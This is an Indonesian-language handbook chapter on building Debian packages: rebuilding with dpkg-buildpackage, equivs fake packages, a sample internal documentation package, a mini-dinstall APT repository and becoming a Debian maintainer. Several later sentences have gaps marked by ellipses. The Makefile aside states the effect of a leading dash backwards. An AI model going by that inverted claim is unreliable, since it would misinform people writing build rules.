Jika Anda tahu secara yakin bahwa build-dependencies terlalu ketat, Anda bebas untuk melonggarkannya secara lokal. Dengan membaca berkas yang mendokumentasikan standar membangun perangkat lunak — berkas ini sering disebut sebagai INSTALL — akan membantu Anda mengetahui dependensi yang sesuai. Idealnya, semua dependensi harus dapat dipenuhi dari distribusi yang digunakan untuk rebuild; jika tidak, sebuah proses rekursif dimulai, yaitu saat paket yang disebutkan dalam field Build-Depends harus di-backport sebelum paket target dapat di-backport. Beberapa paket bisa jadi tidak perlu di-backport, dan dapat di-install apa-adanya selama proses build (contoh yang jelas adalah debhelper). Perlu dicatat bahwa proses backport dapat dengan cepat menjadi kompleks jika Anda tidak hati-hati. Oleh karena itu, backport sedapat mungkin diminimalisir.

TIP Menginstall Build-Depends

apt-get memungkinkan memasang semua paket yang disebutkan dalam field Build-Depends dari paket sumber yang tersedia di dalam distribusi yang disebutkan dalam baris deb-src dalam berkas /etc/apt/sources.list. Hal ini merupakan masalah sederhana dengan menjalankan perintah apt-get build-dep paket-sumber.

15.1.3. Memulai Rebuild

Saat semua perubahan yang diperlukan telah diterapkan pada sumber, kita dapat memulai membuat paket binari sesungguhnya (.deb file). Semua proses ini dikelola oleh perintah dpkg-buildpackage.

Contoh 15.1. Membangun ulang sebuah paket

$ dpkg-buildpackage -us -uc

[...]

Perintah sebelumnya dapat gagal jika field Build-Depends belum diperbaharui, atau jika paket terkait tidak ter-install. Pada kasus seperti ini, mungkin untuk meng-overrule kondisi ini dengan memberikan opsi -d ke dpkg-buildpackage. Namun, dengan secara eksplisit mengacuhkan dependensi ini akan berisiko terjadi kegagalan pada tahap berikutnya. Lebih buruk lagi, paket bisa jadi terlihat di-build dengan benar namun tidak berjalan sebagaimana mestinya: beberapa program secara otomatis men-disable beberapa fitur saat pustaka yang dibutuhkan tidak tersedia saat waktu build.

PERKAKAS fakeroot

Esensinya, proses pembuatan paket adalah sesederhana mengumpulkan suatu set berkas yang ada (atau yang dibangun) ke dalam sebuah arsip; mayoritas berkas akan berakhir menjadi milik root dalam arsip. Namun, membangun seluruh paket di bawah pengguna ini berarti meningkatkan risiko; untungnya hal ini dapat dihindari dengan perintah fakeroot. Perkakas ini dapat digunakan untuk menjalankan sebuah program dan memberikan kesan seolah berjalan sebagai root dan membuat berkas dengan kepemilikan dan izin sebarang. Saat program membuat arsip yang akan menjadi paket Debian, hal ini diakali dengan membuat sebuah archive yang mengandung berkas ditandai dengan kepemilikan sebarang, termasuk root. Penyiapan ini sungguh nyaman sehingga dpkg-buildpackage menggunakan fakeroot secara baku saat membangun paket.

Perhatikan bahwa program hanya mengakali sehingga “seolah-olah percaya” beroperasi dengan akun ber-privilege, dan proses sesungguhnya berjalan sebagai pengguna menjalankan fakeroot program (dan berkas sesungguhnya dibuat dengan permission pengguna). Dalam proses ini sama sekali tidak menggunakan privilege root sehingga tidak mungkin terjadi abuse.

Lebih sering, pengembang Debian menggunakan program dengan tingkat lebih tinggi (higher-level program) seperti debuild; debuild menjalankan dpkg-buildpackage, namun juga menambahkan invokasi dari program yang menjalankan pemeriksaan untuk memvalidasi paket terhadap Debian policy. Script ini juga membersihkan environment sehingga variabel environment lokal tidak “mengotori” paket yang di-build. Perintah debuild adalah salah satu perkakas dalam devscripts suite, yang berbagi konsistensi yang sama dan konfigurasi yang sama untuk membuat pekerjaan maintainer menjadi lebih mudah.

LIHAT CEPAT Membangun paket di lingkungan chroot

Program pbuilder (dalam paket dengan nama mirip) memungkinkan mem-build paket Debian dalam lingkungan chrooted. Pada awalnya pbuilder membuat direktori temporer berisi sistem minimal yang dibutuhkan untuk mem-build paket (termasuk paket yang disebutkan dalam field Build-Depends). Direktori ini digunakan sebagai direktori root (/), menggunakan perintah chroot, saat proses build.

Perkakas ini memungkinkan proses build terjadi dalam lingkungan yang tidak dikotak-katik oleh pengguna. Hal ini juga memungkinkan untuk mendeteksi build-dependencies yang hilang (karena build akan gagal kecuali dependensi terkait didokumentasikan). Akhirnya, pbuilder memungkinkan untuk membangun paket versi Debian yang tidak digunakan oleh sistem secara keseluruhan: mesin dapat menggunakan Stable untuk beban kerja normal, dan pbuilder berjalan pada mesin yang sama menggunakan Unstable untuk membangun paket.

schroot memungkinkan menjalankan perintah atau shell login di lingkungan chroot.

15.2. Membangun Ulang Paket Pertama Anda

15.2.1. Meta-Packages atau Paket Palsu

Paket palsu dan meta-package sebenarnya mirip. Keduanya merupakan cangkang kosong yang ada hanya untuk membuat meta-data mereka berdampak di dalam tumpukan penanganan paket.

Tujuan dari paket palsu adalah mengakali dpkg dan apt sehingga percaya bahwa paket terpasang biarpun hanya berupa cangkang kosong. Hal ini memungkinkan memenuhi dependensi dari paket saat perangkat lunak terkait terpasang di luar ruang lingkup sistem pemaketan. Metode seperti ini bekerja, namun sedapat mungkin dihindari, karena tidak ada jaminan bahwa perangkat lunak yang terpasang berperilaku persis seperti paket terkait dan paket lainnya yang tergantung padanya tidak bekerja sebagaimana mestinya.

Di sisi lain, sebuah meta-package mayoritas ada sebagai kumpulan dari dependensi, sehingga meng-install meta-package sesungguhnya akan mendatangkan paket lain dalam satu langkah.

Kedua jenis paket ini dapat dibuat dengan perintah equivs-control dan equivs-build(dalam paket equivs). Perintah equivs-control berkas membuat berkas header paket Debian yang harus disunting agar memuat nama dari paket yang diinginkan, nomor versinya, nama dari maintainer, dependensi, dan deskripsinya. Field lainnya tanpa nilai default adalah opsional dan dapat dihapus. Field Copyright, Changelog, Readme dan Extra-Files bukan merupakan field standar dalam paket Debian; mereka hanya relevan dalam ruang lingkup equivs-build, dan mereka tidak akan disimpan dalam header dari paket yang dihasilkan.

Contoh 15.2. Berkas header dari libxml-libxml-perl paket palsu

Section: perl

Priority: optional

Standards-Version: 4.4.1

Package: libxml-libxml-perl

Version: 2.0134-1

Maintainer: Raphael Hertzog <hertzog@debian.org>

Depends: libxml2 (>= 2.7.4)

Architecture: all

Description: Fake package - module manually installed in site_perl

This is a fake package to let the packaging system

believe that this Debian package is installed.

.

In fact, the package is not installed since a newer version

of the module has been manually compiled & installed in the

site_perl directory.

Langkah selanjutnya adalah membuat paket Debian dengan perintah equivs-build berkas. Voilà: paket dibuat pada direktori saat ini dan dapat dapat ditangani sebagaimana paket Debian lainnya.

15.2.2. Berkas Archive Sederhana

Administrator Falcot Corp butuh membuat paket Debian agar dapat mempermudah proses penggelaran sekumpulan dokumen pada banyak mesin. Administrator yang bertanggung jawab atas pekerjaan ini pertama perlu membaca “New Maintainer's Guide” (Panduan Maintainer Baru), lalu mulai bekerja pada paket pertamanya.

→ https://www.debian.org/doc/manuals/maint-guide/

Langkah pertama adalah membuat direktori falcot-data-1.0 berisi target dari paket sumber. Paket secara logika akan dinamakan falcot-data dan dengan nomor versi 1.0. Administrator selanjutnya meletakkan berkas dokumen dalam subdirektori data. Lalu mereka meng-invoke perintah dh_make (dari paket dh-make) untuk menambah berkas yang dibutuhkan oleh proses pembuatan paket, yang akan disimpan dalam subdirektori debian:

$ cd falcot-data-1.0

$ dh_make --native

Type of package: (single, indep, library, python)

[s/i/l/p]? i

Maintainer Name     : Raphael Hertzog

Email-Address       : hertzog@debian.org

Date                : Fri, 04 Sep 2015 12:09:39 -0400

Package Name        : falcot-data

Version             : 1.0

License             : gpl3

Package Type        : indep

Are the details correct? [Y/n/q]

Currently there is not top level Makefile. This may require additional tuning

Done. Please edit the files in the debian/ subdirectory now.

$

Tipe paket yang dipilih (indep) menandakan bahwa paket sumber ini akan menghasilkan sebuah paket biner tunggal yang dapat dipakai bersama pada semua arsitektur (Architecture: all). single bertindak sebagai lawannya, dan menghasilkan paket biner tunggal yang bergantung pada arsitektur target (Architecture: any). Dalam kasus ini, pilihan yang pertama lebih relevan karena paket hanya mengandung dokumen dan tidak ada program biner, jadi dapat digunakan pada semua komputer dari semua arsitektur.

Tipe library terkait ke paket sumber yang menghasilkan beberapa paket biner. Itu berguna untuk pustaka bersama, karena mereka perlu mengikuti aturan pemaketan yang ketat.

TIP Nama dan alamat surel Maintainer

Kebanyakan program yang terlibat dalam pengelolaan paket akan mencari nama Anda dan alamat surel dalam variabel environment DEBFULLNAME dan DEBEMAIL atau EMAIL. Definisikan variabel ini sekali dan selamanya akan menghindari Anda dari harus mengisinya berulang kali. Jika shell Anda adalah bash, sesederhana menambahkan dua baris berikut dalam berkas ~/.bashrc (tentunya Anda akan mengisi dengan nilai yang relevan!):

export EMAIL="hertzog@debian.org"

export DEBFULLNAME="Raphael Hertzog"

Perintah dh_make membuat sebuah subdirektori debian dengan banyak berkas. Beberapa diperlukan, khususnya rules, control, changelog, dan copyright. Berkas dengan ekstensi .ex adalah contoh yang dapat digunakan dengan memodifikasi mereka (dan menghapus ekstensi) seperlunya. Saat mereka tidak diperlukan, disarankan untuk menghapus mereka. Berkas compat harus disimpan, karena dibutuhkan agar kumpulan program debhelper berfungsi dengan benar (semuanya dimulai dengan awalan dh_) yang digunakan pada berbagai tahap proses pembuatan paket.

Berkas copyright harus berisi informasi tentang penulis dari dokumen yang disertakan dalam paket, dan lisensi terkait. Dalam kasus kita, hal ini merupakan dokumen internal dan penggunaan mereka terbatas dalam perusahaan Falcot. Berkas default changelog umumnya cukup; menggantikan “Rilis awal” dengan penjelasan yang lebih rinci dan mengubah distribusi dari unstable ke internal sudah cukup. Berkas control juga diperbarui: ruas Section telah diubah menjadi misc dan ruas Homepage, Vcs-Git, dan Vcs-Browser dihapus. Ruas Depends dilengkapi dengan firefox-esr | www-browser untuk memastikan ketersediaan peramban web yang dapat menampilkan dokumen-dokumen dalam paket.

Contoh 15.3. Berkas control

Source: falcot-data

Section: misc

Priority: optional

Maintainer: Raphael Hertzog <hertzog@debian.org>

Build-Depends: debhelper (>= 10)

Standards-Version: 4.4.1

Package: falcot-data

Architecture: all

Depends: firefox-esr | www-browser, ${misc:Depends}

Description: Internal Falcot Corp Documentation

This package provides several documents describing the internal

structure at Falcot Corp.  This includes:

- organization diagram

- contacts for each department.

.

These documents MUST NOT leave the company.

Their use is INTERNAL ONLY.

Contoh 15.4. Berkas changelog

falcot-data (1.0) internal; urgency=low

* Initial Release.

* Let's start with few documents:

- internal company structure;

- contacts for each department.

-- Raphael Hertzog <hertzog@debian.org>  Fri, 04 Sep 2015 12:09:39 -0400

Contoh 15.5. Berkas copyright

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

Upstream-Name: falcot-data

Files: *

Copyright: 2004-2019 Falcot Corp

License:

All rights reserved.

KEMBALI KE DASAR Berkas Makefile

Berkas Makefile adalah sebuah script yang digunakan oleh program make; Berkas ini mendeskripsikan bagaimana mem-build sekumpulan berkas dari berkas lainnya dalam dependensi tree (contohnya, sebuah program dapat di-build dari beberapa berkas sumber). Berkas Makefile mendeskripsikan aturan ini dalam format berikut:

target: source1 source2 ...

command1

command2

Interpretasi dari aturan tersebut sebagai berikut: jika salah satu dari berkas sources lebih baru dari berkas target, maka target perlu dibuat, menggunakan command1 dan command2.

Perhatikan bahwa command line harus dimulai dengan karakter tab; perhatikan juga bahwa saat command line dimulai dengan karakter dash (-), kegagalan dari perintah meng-interupsi seluruh proses.

Berkas rules umumnya berisi sekumpulan rules yang digunakan untuk meng-konfigurasi, build dan install perangkat lunak dalam subdirektori terdedikasi (dinamakan setelah paket binari dihasilkan). Isi dari subdirektori ini selanjutnya diarsipkan dalam paket Debian seolah sebagai root dari filesystem. Dalam kasus kami, berkas akan di-install dalam subdirektori debian/falcot-data/usr/share/falcot-data/, jadi meng-install paket yang dihasilkan akan men-deploy berkas di bawah /usr/share/falcot-data/. Berkas rules digunakan sebagai Makefile, dengan beberapa target standar (termasuk clean dan binary, digunakan untuk membersihkan direktori sumber dan menghasilkan paket binari).

Walaupun berkas ini merupakan jantung dari proses, lama kelamaan hanya berisi bare minimum untuk menjalankan sekumpulan perintah yang disediakan oleh perkakas debhelper. Sebagai contoh dalam kasus untuk berkas yang dihasilkan oleh dh_make. Untuk menginstall berkas, kita hanya perlu mengkonfigurasi perilaku dari perintah dh_install dengan membuat berkas berikut debian/falcot-data.install:

data/* usr/share/falcot-data/

Pada titik ini, paket dapat dibuat. Namun kita akan menambahkan sedikit polesan. Karena administrator ingin dokumen dapat diakses dengan mudah dari menu dalam lingkungan grafis desktop, kita membuat sebuah berkas falcot-data.desktop dan meletakkannya di /usr/share/applications dengan menambahkan baris kedua pada debian/falcot-data.install.

Contoh 15.6. Berkas falcot-data.desktop

[Desktop Entry]

Name=Internal Falcot Corp Documentation

Comment=Starts a browser to read the documentation

Exec=x-www-browser /usr/share/falcot-data/index.html

Terminal=false

Type=Application

Categories=Documentation;

Pembaharuan debian/falcot-data.install terlihat seperti ini:

data/* usr/share/falcot-data/

falcot-data.desktop usr/share/applications/

Paket sumber kita sekarang sudah siap. Yang perlu dilakukan hanya membuat paket biner, dengan metode yang sama yang kita gunakan sebelumnya untuk membangun ulang paket: kita jalankan perintah dpkg-buildpackage -us -uc dari direktori falcot-data-1.0.

15.3. Membuat Repositori Paket untuk APT

Falcor Corp perlahan mulai mengelola sejumlah paket Debian baik dimodifikasi lokal dari paket yang sudah ada atau membuat dari awal untuk mendistribusikan data internal dan program.

Agar penggelaran lebih mudah, mereka ingin mengintegrasikan paket-paket ini ke dalam sebuah arsip paket yang dapat digunakan secara langsung oleh APT. Untuk alasan-alasan pengelolaan yang gamblang, mereka ingin memisahkan paket internal dari paket yang dibangun-ulang-lokal. Tujuannya adalah agar entri yang cocok dalam berkas /etc/apt/sources.list.d/falcot.list menjadi sebagai berikut:

deb http://packages.falcot.com/ updates/

deb http://packages.falcot.com/ internal/

Maka administrator mengonfigurasi suatu host virtual pada server HTTP internal mereka, dengan /srv/vhosts/packages/ sebagai root dari ruang web terkait. Manajemen arsip itu sendiri didelegasikan ke perintal mini-dinstall (dalam paket yang bernama mirip). Alat ini mengawasi suatu direktori incoming/ (dalam kasus kita, /srv/vhost/packages/mini-dinstall/incoming/) dan menunggu paket-paket baru di sana; ketika suatu paket diunggah, itu dipasang ke dalam sebuah arsip Debian pada /srv/vhosts/packages/. Perintah mini-dinstall membaca berkas *.changes yang dibuat saat paket Debian dijangkitkan. Berkas-berkas ini memuat suatu daftar dari semua berkas lain yang terkait dengan versi paket (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz, atau ekuivalennya dengan alat kompresi lain), dan ini mengizinkan mini-dinstall untuk tahu berkas mana yang akan dipasang. Berkas *.changes juga memuat nama distribusi target (seringkali unstable) yang disinggung dalam entri debian/changelog terakhir, dan mini-dinstall memakai informasi ini untuk menentukan di mana paket mesti dipasang. Inilah kenapa administrator mesti selalu mengubah ruas ini sebelum membangun suatu paket, dan menatanya ke internal atau updates, bergantung pada lokasi target. mini-dinstall kemudian menjangkitkan berkas-berkas yang diperlukan oleh APT, seperti misalnya Packages.gz.

ALTERNATIF apt-ftparchive dan reprepro

Jika mini-dinstall tampaknya terlalu rumit untuk kebutuhan arsip Debian, Anda juga dapat menggunakan perintah apt-ftparchive. Alat ini memindai isi direktori dan menampilkan (pada keluaran standar) berkas Package yang cocok. Dalam kasus Falcot Corp, administrator dapat mengunggah paket langsung ke /srv/vhosts/packages/updates/ atau /srv/vhosts/packages/internal/, kemudian menjalankan perintah berikut untuk membuat berkas Packages.gz:

$ cd /srv/vhosts/packages

$ apt-ftparchive packages updates >updates/Packages

$ gzip updates/Packages

$ apt-ftparchive packages internal >internal/Packages

$ gzip internal/Packages

Perintah apt-ftparchive sources mengizinkan membuat berkas Sources.gz dengan cara yang mirip.

reprepro adalah alat yang lebih canggih untuk tujuan yang sama. Ini dapat menghasilkan, mengelola, dan menyelaraskan repositori lokal paket. Ini menyimpan paket dan checksum dalam berkas basis data Berkeley DB, sehingga tidak ada server basis data yang diperlukan. Dengan reprepro Anda dapat memeriksa tanda tangan dari repositori cermin dan membuat tanda tangan dari indeks paket yang dihasilkan.

Mengkonfigurasi mini-dinstall membutuhkan menyiapkan sebuah berkas ~/.mini-dinstall.conf; dalam kasus Falcot Corp, isinya adalah sebagai berikut:

[DEFAULT]

archive_style = flat

archivedir = /srv/vhosts/packages

verify_sigs = 0

mail_to = admin@falcot.com

generate_release = 1

release_origin = Falcot Corp

release_codename = stable

[updates]

release_label = Recompiled Debian Packages

[internal]

release_label = Internal Packages

Satu keputusan yang perlu diperhatikan adalah membuat berkas Release untuk setiap arsip. Hal ini bisa membantu mengelola prioritas instalasi paket menggunakan berkas konfigurasi /etc/apt/preferences (lihat Bagian 6.2.5, “Mengelola Prioritas Paket” untuk detailnya).

SECURITY mini-dinstall dan permission

Karena mini-dinstall telah dirancang untuk dijalankan sebagai pengguna biasa, tidak perlu dijalankan sebagai root. Cara termudah adalah untuk mengkonfigurasi semuanya dalam akun pengguna milik administrator yang bertanggung jawab menciptakan paket-paket Debian. Karena hanya administrator ini yang memiliki izin yang diperlukan untuk menempatkan berkas-berkas dalam direktori incoming/, kita dapat simpulkan bahwa administrator mengotentikasi asal dari masing-masing paket sebelum penggelaran dan mini-dinstall tidak perlu untuk melakukannya lagi. Ini menjelaskan parameter verify_sigs = 0 (yang berarti bahwa tanda tangan tidak perlu diverifikasi). Namun, jika isi paket sensitif, kami dapat membalik pengaturan dan memilih untuk melakukan otentikasi dengan keyring berisi kunci publik dari orang-orang yang diperbolehkan untuk membuat paket (dikonfigurasi dengan parameter extra_keyrings); mini-dinstall kemudian akan memeriksa asal masing-masing paket masuk dengan menganalisis tanda tangan yang terintegrasi ke berkas *.changes.

Menjalankan mini-dinstall sebenarnya memulai daemon di latar belakang. Selama daemon ini berjalan, itu akan memeriksa paket baru di direktori incoming/ setiap setengah jam; ketika suatu paket baru telah tiba, itu akan dipindahkan ke arsip dan berkas-berkas Packages.gz dan Sources.gz yang sesuai akan diregenerasi. Jika menjalankan daemon adalah masalah, mini-dinstall dapat juga secara manual dipanggil dalam mode batch (dengan opsi -b) setiap kali sebuah paket diunggah ke dalam direktori incoming/. Kemungkinan lain yang disediakan oleh mini-dinstall didokumentasikan di halaman manual mini-dinstall(1).

EKSTRA Membuat sebuah signed archive

Keluarga APT memeriksa rantai tanda tangan kriptografik dari paket yang ditanganinya sebelum memasang mereka, untuk memastikan keaslian mereka (lihat Bagian 6.6, “Pemeriksaan Otentikasi Paket”). Arsip APT privat dapat menjadi masalah, karena mesin yang menggunakan mereka akan terus menampilkan peringatan tentang paket tanpa-tanda-tangan. Maka administrator yang rajin akan mengintegrasikan arsip pribadi dengan mekanisme APT aman.

Untuk membantu dengan proses ini, mini-dinstall memuat release_signscript opsi konfigurasi yang memungkinkan menspesifikasikan sebuah script untuk digunakan untuk menghasilkan signature. Titik mulai yang bagus adalah script sign-release.sh yang disediakan oleh mini-dinstall paket /usr/share/doc/mini-dinstall/examples/; perubahan lokal bisa jadi relevan.

15.4. Menjadi seorang Maintainer Paket

15.4.1. Belajar untuk Membuat Perubahan

Membuat paket Debian berkualitas tidak selalu suatu pekerjaan yang sederhana, dan menjadi pengelola paket membutuhkan pembelajaran, teori dan praktik. Bukan masalah sesederhana membangun dan memasang perangkat lunak; tapi sebagian besar kompleksitas datang dari pemahaman masalah dan konflik, dan lebih umum dengan interaksi, dengan sangat banyak paket lain yang tersedia.

15.4.1.1. Aturan

Sebuah paket Debian harus patuh dengan aturan presisi yang terkumpul dalam kebijakan Debian, dan setiap pengelola paket harus mengetahuinya. Tidak terdapat persyaratan untuk hafal mereka luar kepala, namun perlu mengetahui mereka ada dan mengacu padanya saat suatu pilihan menghadirkan alternatif yang non-trivial. Setiap pengelola Debian membuat kesalahan dengan tidak mengetahui suatu aturan, namun ini bukan masalah besar selama kesalahan diperbaiki saat pengguna melaporkannya dalam laporan bug (yang cenderung terjadi cukup segera terima kasih pada pengguna mahir).Ruas Standards-Version dalam debian/control menyatakan versi kebijakan Debian mana yang dipatuhi oleh paket. Pengelola mesti patuh ke versi terakhir kebijakan Debian.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. Prosedur

Debian bukanlah koleksi sederhana dari paket-paket individual. Semua pekerjaan pemaketan merupakan bagian dari proyek kolektif; menjadi pengembang Debian meliputi mengetahi bagaimana proyek Debian beroperasi ... Setiap pengembang akan, cepat atau lambat, berinteraksi satu sama lain. Referensi pengembang Debian (dalam paket developers-reference) menyarikan apa yang harus diketahui oleh setiap pengembang Debian agar dapat berinteraksi dengan baik mungkin dengan beragam tim dalam proyek, dan untuk keuntungan terbaik dari sumber daya yang tersedia. Dokumen ini juga ... beberapa tanggung jawab pengembang yang diharapkan dipenuhi.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Perkakas

Banyak perkakas membantu maintainer paket dalam pekerjaannya. Bagian ini menjelaskan mereka secara cepat, namun tidak memberikan detail sepenuhnya, karena mereka semua memiliki dokumentasi komprehensifnya sendiri.

15.4.1.3.1. Program lintian

Perkakas ini adalah salah satu yang paling penting: pemeriksa paket Debian. Itu berlandaskan pada kumpulan besar dari tes yang dibuat dari kebijakan Debian, dan mendeteksi secara cepat dan secara otomatis banyak kesalahan yang dapat diperbaiki sebelum paket dirilis.

Perkakas ini hanyalah pembantu, dan sesekali salah (contohnya, sejak kebijakan Debian berubah seiring waktu, lintian sesekali ....) ... juga tidak lengkap: tidak mendapatkan kesalahan Lintian bukan berarti bukti bahwa paket sudah sempurna; ... mencegah kesalahan yang paling umum.

15.4.1.3.2. Program piuparts

Ini adalah alat penting lain: mengotomatisasi instalasi, upgrade, penghapusan, dan pembersihan paket (dalam lingkungan yang terisolasi), dan memeriksa bahwa tidak satupun dari operasi ini menyebabkan kesalahan. Itu dapat membantu dalam mendeteksi dependensi yang hilang, dan juga mendeteksi ketika berkas-berkas masih tersisa setelah paket dibersihkan.

15.4.1.3.3. devscripts

Paket devscripts berisi banyak program yang membantu beragam pekerjaan pengembang Debian:

- debuild memungkinkan menghasilkan sebuah paket (dengan dpkg-buildpackage) dan menjalankan lintian untuk memeriksa kepatuhan dengan kebijakan Debian.

- debclean membersihkan paket sumber setelah paket binari dihasilkan.

- dch memungkinkan penyuntingan cepat dan mudah dari berkas debian/changelog dalam paket sumber.

- uscan memeriksa apakah terdapat versi baru perangkat lunak yang dirilis oleh penulis upstream; hal ini membutuhkan berkas debian/watch dengan deskripsi dari lokasi rilis.

- debi memungkinkan memasang (dengan dpkg -i) paket Debian yang baru saja dibuat tanpa perlu mengetik nama lengkap dan pathnya.

- Hal yang mirip, debc memungkinkan pencarian isi dari paket yang baru dibuat (dengan dpkg -c), tanpa harus mengetik nama lengkap dan path.

- bts mengendalikan sistem pelacakan bug dari command line; program ini secara otomatis menghasilkan pesan seperlunya.

- debrelease menggunggah paket yang baru dibuat ke server remote, tanpa harus mengisi nama lengkap dan path dari berkas .changes terkait.

- debsign menandatangani berkas *.dsc dan *.changes.

- uupdate ... proses pembuatan dari revisi baru paket saat versi upstream telah dirilis.

15.4.1.3.4. debhelper dan dh-make

Debhelper adalah sekumpulan script yang memudahkan pembuatan paket yang patuh kebijakan; script ini di-invoke dari debian/rules. Debhelper telah diterima secara luas dalam Debian, terbukti dengan fakta bahwa itu digunakan oleh mayoritas paket Debian resmi. Semua perintah di dalamnya berisi prefiks dh_.

Skrip dh_make (dalam paket dh-make) membuat berkas yang dibutuhkan untuk membuat paket Debian dalam direktori yang pada awalnya berisi sumber untuk perangkat lunak. Seperti sudah bisa ditebak dari nama program, berkas yang dihasilkan menggunakan Debhelper secara default.

15.4.1.3.5. autopkgtest

autopkgtest menjalankan tes pada paket biner, menggunakan tes yang disediakan dalam paket sumber.

15.4.1.3.6. reprotest

reprotest membangun kode sumber yang sama dua kali di lingkungan yang berbeda, dan kemudian memeriksa biner yang dihasilkan oleh masing-masing build untuk mencari perbedaan. Jika ada yang ditemukan, maka diffoscope (bila tidak tersedia, diff) digunakan untuk menampilkannya secara rinci untuk analisis nanti.

15.4.1.3.7. dupload dan dput

Perintah dupload dan dput memungkinkan mengunggah paket Debian ke (bisa jadi remote) server. Hal ini memungkinkan pengembang untuk mempublikasikan paket mereka pada server Debian utama (ftp-master.debian.org) sehingga bisa terintegrasi ke dalam archive dan didistribusikan oleh cermin. Perintah ini mengambil berkas *.changes sebagai parameter, dan ... berkas relevan lainnya dari isinya.

15.4.2. Proses Penerimaan

Menjadi pengembang Debian bukanlah hal administratif sederhana. Proses ini terdiri dari beberapa langkah, sekaligus merupakan inisiasi dan proses seleksi. Pada kasus apapun, hal ini diformalkan dan terdokumentasi dengan baik, jadi siapapun dapat melacak perkembangan mereka pada situs yang khusus ditujukan untuk pemrosesan anggota baru.

→ http://nm.debian.org/

EXTRA Proses lightweight untuk “Debian Maintainers”

“Debian Maintainer” adalah status lain yang memberi hak kurang dari "Debian Developer" tapi dengan proses terkait yang lebih cepat. Dengan status ini, para kontributor hanya dapat mengelola paket mereka sendiri. Seorang pengembang Debian hanya perlu melakukan pemeriksaan pada unggahan awal, dan mengeluarkan penyataan yang kurang lebih mengatakan bahwa mereka percaya dengan kandidat maintainer yang mampu mengelola sendiri paket tersebut.

15.4.2.1. Persyaratan

Semua kandidat diharapkan memiliki pengetahuan ... dari bahasa Inggris. Hal ini dibutuhkan pada semua tingkat: untuk komunikasi awal dengan penguji, tentunya, dan tentu nanti, sejak bahasa Inggris adalah bahasa yang ... untuk hampir semua dokumentasi; juga, pengguna paket akan berkomunikasi dengan bahasa Inggris saat melaporkan bug, dan mereka berharap balasan dalam bahasa Inggris.

Persyaratan lainnya berkaitan dengan motivasi. Menjadi pengembang Debian merupakan proses yang hanya masuk akal jika kandidat mengetahui bahwa minat mereka dalam Debian akan bertahan hingga berbulan-bulan. Proses penerimaanya itu sendiri bisa jadi berlangsung beberapa bulan, dan Debian membutuhkan pengembang untuk jangka waktu panjang; setiap paket perlu pengelolaan permanen, dan tidak hanya unggah di awal saja.

15.4.2.2. Registrasi

Langkah pertama (nyata) terdiri dari mencari sponsor atau advokat; ini berarti seorang pengembang resmi bersedia menyatakan bahwa mereka yakin bahwa menerima X akan baik untuk Debian. Ini biasanya berarti menandakan bahwa kandidat telah aktif di dalam komunitas, dan karya mereka telah diapresiasi. Jika kandidat pemalu dan karya mereka tidak digembar-gemborkan secara publik, mereka dapat mencoba meyakinkan pengembang Debian untuk mengadvokasi dan menunjukkan karya mereka secara privat.

Pada saat yang sama, kandidat harus menghasilkan sebuah pasangan kunci RSA publik/privat dengan GnuPG, yang mesti ditandatangani oleh setidaknya dua pengembang Debian resmi. Tanda tangan mengotentikasi nama pada kunci. Secara efektif, selama key signing party, setiap peserta harus menunjukkan identifikasi resmi (biasanya KTP atau paspor) bersamaan dengan pengidentifikasi kunci mereka. Langkah ini menegaskan hubungan antara manusia dan kunci. Maka tanda tangan ini memerlukan pertemuan di kehidupan nyata. Jika Anda belum pernah bertemu dengan pengembang Debian manapun dalam konferensi publik perangkat lunak bebas, Anda dapat secara eksplisit mencari pengembang yang tinggal di dekat Anda menggunakan daftar pada halaman web berikut sebagai titik awal.

→ https://wiki.debian.org/Keysigning

Sekali registrasi pada nm.debian.org telah divalidasi oleh advokat, seorang Manajer Lamaran ditugaskan ke kandidat. Manajer lamaran selanjutnya akan mengikuti prosedur dan memvalidasi beragam langkah proses ini.

Verifikasi pertama adalah pemeriksaan identitas. Jika Anda telah memiliki kunci yang ditandatangani oleh dua orang pengembang Debian, langkah ini sangat mudah; sebaliknya, manajer aplikasi akan mencoba mencari dan memandu Anda dalam mencari pengembang Debian yang dekat atau mengadakan kopdar dan penandatanganan kunci.

15.4.2.3. Menerima Prinsip-prinsip

Semua formalitas administratif ini diikuti dengan pertimbangan filosofis. Poinnya adalah memastikan bahwa kandidat memahami dan menerima kontrak sosial dan prinsip di balik Perangkat Lunak Bebas. Bergabung dengan Debian hanya mungkin jika seseorang berbagi nilai yang menyatukan pengembang saat ini, seperti yang dinyatakan dalam teks pendirian (dan diringkas dalam Bab 1, Proyek Debian).

Sebagai tambahan, setiap kandidat yang ingin bergabung Debian ranks diharapkan mengetahui cara kerja dari proyek, dan bagaimana berinteraksi dengan tepat untuk memecahkan masalah yang pasti akan mereka temui seiring berjalannya waktu. Semua informasi ini secara umum didokumentasikan di dalam manual yang ditujukan kepada maintainer baru, dan dalam referensi pengembang Debian. Pembacaan teliti dari dokumen ini seharusnya cukup untuk menjawab pertanyaan penguji. Jika jawaban tidak cukup memuaskan, kandidat akan dikabari. Ia akan harus membaca (lagi) dokumentasi yang relevan sebelum mencoba lagi. Pada kasus di mana dokumentasi saat ini tidak mengandung jawaban yang tepat untuk pertanyaan, kandidat umumnya dapat mencapai jawaban dengan pengalaman praktikal selama di Debian, atau mendiskusikannya dengan pengembang Debian lainnya. Mekanisme ini memastikan bahwa kandidat sedikit terlibat dalam Debian sebelum bergabung secara utuh. Ini merupakan kebijakan yang disengaja, agar kandidat yang pada akhirnya bergabung ke proyek terintegrasi sebagai kepingan lain dari teka teki gambar yang dapat diperluas tak hingga.

Langkah ini umumnya dikenal sebagai Philosophy & Procedures (disingkat P&P) dalam lingo para pengembang yang terlibat dalam proses anggota baru.

15.4.2.4. Pemeriksaan Keahlian

Setiap aplikasi untuk menjadi pengembang resmi Debian harus dijustifikasi. Menjadi anggota proyek membutuhkan ... menunjukkan status ini legitimasi, dan memfasilitasi pekerjaan kandidat dalam membantu Debian. Justifikasi yang paling umum adalah ... diberikan Debian developer status ... memudahkan pengelolaan paket Debian, namun ini bukan satu-satunya. Beberapa pengembang bergabung ke proyek untuk aktif berkontribusi dengan mem-porting ke arsitektur spesifik, lainnya ingin meningkatkan dokumentasi, dan seterusnya.

